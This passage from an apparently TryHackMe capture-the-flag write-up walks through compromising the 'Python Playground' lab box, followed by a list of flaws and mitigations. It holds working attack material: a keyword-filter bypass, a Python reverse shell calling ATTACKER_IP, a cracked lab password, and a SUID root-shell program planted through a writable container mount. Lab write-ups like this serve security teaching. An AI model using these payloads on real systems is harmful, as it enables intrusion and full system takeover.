&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://MACHINE_IP/super-secret-admin-testing-panel.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Returns an unauthenticated form:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;h2&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"m-3"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Python Playground! &lt;span class="nt"&gt;&amp;lt;sub&amp;gt;&lt;/span&gt;- By Connor&lt;span class="nt"&gt;&amp;lt;/sub&amp;gt;&amp;lt;/h2&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;textarea&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"form-control mb-3"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"code"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/textarea&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;textarea&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"form-control mb-3"&lt;/span&gt; &lt;span class="na"&gt;readonly&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/textarea&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"form-control btn-primary mb-3"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"Go!"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3. Filter analysis
&lt;/h3&gt;

&lt;p&gt;Basic execution works fine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://MACHINE_IP/super-secret-admin-testing-panel.html &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"code=print(1+1)"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;textarea&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;2

Exit code 0&lt;span class="nt"&gt;&amp;lt;/textarea&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But anything referencing &lt;code&gt;os&lt;/code&gt;/&lt;code&gt;subprocess&lt;/code&gt;/&lt;code&gt;import&lt;/code&gt; directly is blocked:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://MACHINE_IP/super-secret-admin-testing-panel.html &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"code=import os print(os.popen('id').read())"&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://MACHINE_IP/super-secret-admin-testing-panel.html &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"code=__import__('os').system('id')"&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://MACHINE_IP/super-secret-admin-testing-panel.html &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"code=import subprocess subprocess.run('ls')"&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://MACHINE_IP/super-secret-admin-testing-panel.html &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"code=import subprocess subprocess.check_output('ls')"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All of these return:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;textarea&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"form-control mb-3"&lt;/span&gt; &lt;span class="na"&gt;readonly&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Security threat detected!&lt;span class="nt"&gt;&amp;lt;/textarea&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4. Filter bypass
&lt;/h3&gt;

&lt;p&gt;Calling &lt;code&gt;__import__('subprocess')&lt;/code&gt; as an attribute chain, without the literal blacklisted call pattern, gets through:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://MACHINE_IP/super-secret-admin-testing-panel.html &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"code=__import__('subprocess').check_output('id')"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;textarea&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"form-control mb-3"&lt;/span&gt; &lt;span class="na"&gt;readonly&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
Exit code 0&lt;span class="nt"&gt;&amp;lt;/textarea&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirming full command execution:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://MACHINE_IP/super-secret-admin-testing-panel.html &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"code=print(__import__('subprocess').check_output('/bin/sh -c id', shell=True))"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;textarea&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"form-control mb-3"&lt;/span&gt; &lt;span class="na"&gt;readonly&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;b'uid=0(root) gid=0(root) groups=0(root)\n'

Exit code 0&lt;span class="nt"&gt;&amp;lt;/textarea&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5. Reverse shell
&lt;/h3&gt;

&lt;p&gt;A raw &lt;code&gt;socket.connect()&lt;/code&gt; + &lt;code&gt;subprocess.call(["/bin/sh","-i"], ...)&lt;/code&gt; payload built purely from &lt;code&gt;__import__()&lt;/code&gt; calls (so no blacklisted keyword ever appears literally) was used to avoid the filter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://MACHINE_IP/super-secret-admin-testing-panel.html &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'code=s = __import__("socket").socket()
s.connect(("ATTACKER_IP",4444))
f = s.fileno()
__import__("subprocess").call(["/bin/sh","-i"], -1, None, f, f, f)'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Caught with a listener (&lt;code&gt;penelope&lt;/code&gt; in this case):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;penelope listen &lt;span class="nt"&gt;-p&lt;/span&gt; 4444
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;New Reverse Shell] &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; playgroundweb MACHINE_IP Linux-x86_64  Session ID &amp;lt;1&amp;gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Agent deployed via /usr/bin/python3
root@playgroundweb:~/app#
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Landed directly as &lt;code&gt;root&lt;/code&gt; inside the web app's container:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@playgroundweb:~/app# &lt;span class="nb"&gt;whoami
&lt;/span&gt;root
root@playgroundweb:~/app# &lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt;
root@playgroundweb:~/app# &lt;span class="nb"&gt;ls
&lt;/span&gt;index.js  node_modules  package-lock.json  package.json  scripts  static
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Container flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@playgroundweb:~/app# &lt;span class="nb"&gt;cd&lt;/span&gt; /root
root@playgroundweb:~# &lt;span class="nb"&gt;cat &lt;/span&gt;flag1.txt
THM&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6. Recovering &lt;code&gt;connor&lt;/code&gt;'s credentials (cipher reversal)
&lt;/h3&gt;

&lt;p&gt;A Python REPL transcript found while poking around revealed a custom double-pass letter-pair cipher and its ciphertext. Reversing it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;f_inv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;97&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;97&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="bp"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="n"&gt;step1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;f_inv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# undo the outer f
&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;f_inv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;step1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# undo the inner f
&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="bp"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;spaghetti1245&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7. SSH access as &lt;code&gt;connor&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh connor@MACHINE_IP
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;connor@MACHINE_IP&lt;span class="s1"&gt;'s password: spaghetti1245
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-99-generic x86_64)
Last login: Sat May 16 06:01:55 2020 from 10.0.2.2
connor@pythonplayground:~$ whoami
connor
connor@pythonplayground:~$ id
uid=1000(connor) gid=1000(connor) groups=1000(connor)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Flag from &lt;code&gt;connor&lt;/code&gt;'s home directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;connor@pythonplayground:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;flag2.txt
THM&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Initial enumeration as &lt;code&gt;connor&lt;/code&gt; came up empty:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;connor@pythonplayground:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
Sorry, user connor may not run &lt;span class="nb"&gt;sudo &lt;/span&gt;on pythonplayground.
connor@pythonplayground:~&lt;span class="nv"&gt;$ &lt;/span&gt;find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; 2&amp;gt;/dev/null
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
...
/bin/su
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8. Realizing the RCE landed inside a Docker container
&lt;/h3&gt;

&lt;p&gt;Going back to the earlier &lt;code&gt;super-secret-admin-testing-panel.html&lt;/code&gt; shell, a check for Docker tooling on that box came back empty, which - combined with the container-style hostname (&lt;code&gt;playgroundweb&lt;/code&gt;) and minimal filesystem seen earlier - confirmed the RCE shell was inside a Docker container, separate from the host &lt;code&gt;connor&lt;/code&gt; was SSH'd into:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@playgroundweb:~# which docker
root@playgroundweb:~#
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With that confirmed, the next step was researching Docker container escape / privilege escalation techniques rather than a normal Linux privesc path.&lt;/p&gt;

&lt;h3&gt;
  
  
  9. Container escape prep - abusing a shared log mount
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@playgroundweb:~# &lt;span class="nb"&gt;cat&lt;/span&gt; /proc/self/status | &lt;span class="nb"&gt;grep &lt;/span&gt;Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000
root@playgroundweb:~# mount | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"proc&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;sys&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;tmpfs&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;overlay&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;devpts&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;mqueue&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;shm"&lt;/span&gt;
/dev/nvme1n1p2 on /mnt/log &lt;span class="nb"&gt;type &lt;/span&gt;ext4 &lt;span class="o"&gt;(&lt;/span&gt;rw,relatime,data&lt;span class="o"&gt;=&lt;/span&gt;ordered&lt;span class="o"&gt;)&lt;/span&gt;
/dev/nvme1n1p2 on /etc/resolv.conf &lt;span class="nb"&gt;type &lt;/span&gt;ext4 &lt;span class="o"&gt;(&lt;/span&gt;rw,relatime,data&lt;span class="o"&gt;=&lt;/span&gt;ordered&lt;span class="o"&gt;)&lt;/span&gt;
/dev/nvme1n1p2 on /etc/hostname &lt;span class="nb"&gt;type &lt;/span&gt;ext4 &lt;span class="o"&gt;(&lt;/span&gt;rw,relatime,data&lt;span class="o"&gt;=&lt;/span&gt;ordered&lt;span class="o"&gt;)&lt;/span&gt;
/dev/nvme1n1p2 on /etc/hosts &lt;span class="nb"&gt;type &lt;/span&gt;ext4 &lt;span class="o"&gt;(&lt;/span&gt;rw,relatime,data&lt;span class="o"&gt;=&lt;/span&gt;ordered&lt;span class="o"&gt;)&lt;/span&gt;
root@playgroundweb:~# findmnt /mnt/log
TARGET   SOURCE                   FSTYPE OPTIONS
/mnt/log /dev/nvme1n1p2[/var/log] ext4   rw,relatime,data&lt;span class="o"&gt;=&lt;/span&gt;ordered
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/mnt/log&lt;/code&gt; inside the container is the host's &lt;code&gt;/var/log&lt;/code&gt;, mounted read-write. Since this is a real partition mount (not just an empty overlay dir), anything written here lands directly on the host filesystem - confirmed from the host side too:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;connor@pythonplayground:~&lt;span class="nv"&gt;$ &lt;/span&gt;find / &lt;span class="nt"&gt;-type&lt;/span&gt; d &lt;span class="nt"&gt;-name&lt;/span&gt; log 2&amp;gt;/dev/null
/var/log
connor@pythonplayground:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /var/log
total 3900
drwxrwxr-x   9 root      syslog             4096 May 11  2020 &lt;span class="nb"&gt;.&lt;/span&gt;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10. Planting a SUID root binary on the host
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@playgroundweb:~/app# which gcc
/usr/bin/gcc
root@playgroundweb:~/app# &lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;' &amp;gt; /tmp/privesc.c
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;root@playgroundweb:~/app# gcc &lt;span class="nt"&gt;-static&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /mnt/log/privesc /tmp/privesc.c
root@playgroundweb:~/app# &lt;span class="nb"&gt;chmod &lt;/span&gt;4755 /mnt/log/privesc
root@playgroundweb:~/app# &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /mnt/log/privesc
&lt;span class="nt"&gt;-rwsr-xr-x&lt;/span&gt; 1 root root 877640 Sep 22 08:32 /mnt/log/privesc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11. Privilege escalation via the planted SUID binary
&lt;/h3&gt;

&lt;p&gt;The binary written to &lt;code&gt;/mnt/log/privesc&lt;/code&gt; inside the container appears on the host at the corresponding &lt;code&gt;/var/log&lt;/code&gt; path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;connor@pythonplayground:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /var/log/privesc
&lt;span class="nt"&gt;-rwsr-xr-x&lt;/span&gt; 1 root root 877640 Sep 22 08:32 /var/log/privesc
connor@pythonplayground:~&lt;span class="nv"&gt;$ &lt;/span&gt;/var/log/privesc &lt;span class="nt"&gt;-p&lt;/span&gt;
root@pythonplayground:~# &lt;span class="nb"&gt;whoami
&lt;/span&gt;root
root@pythonplayground:~# &lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt;,1000&lt;span class="o"&gt;(&lt;/span&gt;connor&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Final flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@pythonplayground:/root# &lt;span class="nb"&gt;cat &lt;/span&gt;flag3.txt
THM&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Insecure Python "sandbox" (blacklist-based code execution filter)&lt;/strong&gt; - The application attempts to block dangerous code by string/keyword matching rather than using a real sandboxing mechanism (e.g., restricted execution environment, seccomp, containerized subprocess with no filesystem/network access). &lt;code&gt;__import__()&lt;/code&gt; used as a callable bypasses any blacklist built around literal &lt;code&gt;import&lt;/code&gt; statements or named function calls.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unrestricted server-side code execution as root&lt;/strong&gt; - The playground process itself ran as &lt;code&gt;root&lt;/code&gt; inside its container, turning a filter bypass directly into full container compromise instead of a constrained low-privilege execution context.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sensitive host path bind-mounted into a container with write access&lt;/strong&gt; - &lt;code&gt;/var/log&lt;/code&gt; on the host was mounted into the application container at &lt;code&gt;/mnt/log&lt;/code&gt; with read/write permissions, allowing a compromised container process to write arbitrary files (including a SUID binary) directly onto the host filesystem.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Weak "custom crypto" for credential storage&lt;/strong&gt; - The &lt;code&gt;connor&lt;/code&gt; password was protected only by a simple, reversible double-pass substitution/letter-pair cipher rather than a proper password hash, making it trivial to invert once the transformation logic was discovered.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hidden but unauthenticated admin endpoint&lt;/strong&gt; - &lt;code&gt;super-secret-admin-testing-panel.html&lt;/code&gt; was reachable by anyone who found or guessed the path; there was no authentication gating access to the code-execution feature at all.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Never implement sandboxing via keyword/string blacklists for a language as dynamically expressive as Python; use vetted sandboxing (e.g., &lt;code&gt;nsjail&lt;/code&gt;, gVisor, WebAssembly-based interpreters, or a fully separate least-privileged execution service) or disallow arbitrary code execution features entirely.&lt;/li&gt;
&lt;li&gt;Run code-execution services as an unprivileged, tightly scoped user inside the container, with a read-only root filesystem and no unnecessary capabilities.&lt;/li&gt;
&lt;li&gt;Avoid bind-mounting sensitive host directories (especially &lt;code&gt;/var/log&lt;/code&gt; or anything else outside a dedicated data directory) into containers, and never mount them writable unless strictly required; apply the principle of least privilege to all mount points.&lt;/li&gt;
&lt;li&gt;Store credentials using a proper password hashing algorithm (bcrypt/argon2/scrypt) rather than any reversible or "security through obscurity" cipher.&lt;/li&gt;
&lt;li&gt;Require authentication before exposing any code-execution or administrative functionality, and avoid relying on "hidden" endpoint names as an access control mechanism.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe - Olympus Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Thu, 10 Sep 2026 09:40:12 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-olympus-writeup-ok2</link>
